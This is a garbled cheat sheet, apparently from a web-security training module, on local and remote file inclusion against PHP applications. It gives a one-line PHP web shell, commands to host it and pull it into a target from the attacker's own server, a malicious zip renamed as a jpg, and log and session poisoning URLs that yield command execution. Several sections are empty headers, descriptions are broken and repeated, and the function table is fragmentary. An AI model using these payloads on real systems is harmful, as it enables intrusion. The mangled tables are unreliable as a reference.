File Inclusion Module Cheat Sheet
File Inclusion Module Cheat Sheet
CHEAT SHEET
Local File Inclusion
Command Description
Basic LFI
LFI Bypasses
Command Description
PHP Wrappers
RFI
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server Host web
<LISTENING_PORT> shell
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id Include
remote PHP
web shell
LFI + Upload
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php Create
malicious
zip archive
'as jpg'
Command Description
Log Poisoning
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id RCE
through
poisoned
PHP
session
/index.php?language=/var/log/apache2/access.log&cmd=id RCE
through
poisoned
PHP
session
Misc
Command Description
LFI Wordlists
LFI-Jhaddix.txt
PHP
fopen()/file() Yes No No
Function Read Content Execute Remote URL
NodeJS
fs.readFile() Yes No No
fs.sendFile() Yes No No
Java
include Yes No No
.NET
@Html.Partial() Yes No No
Response.WriteFile() Yes No No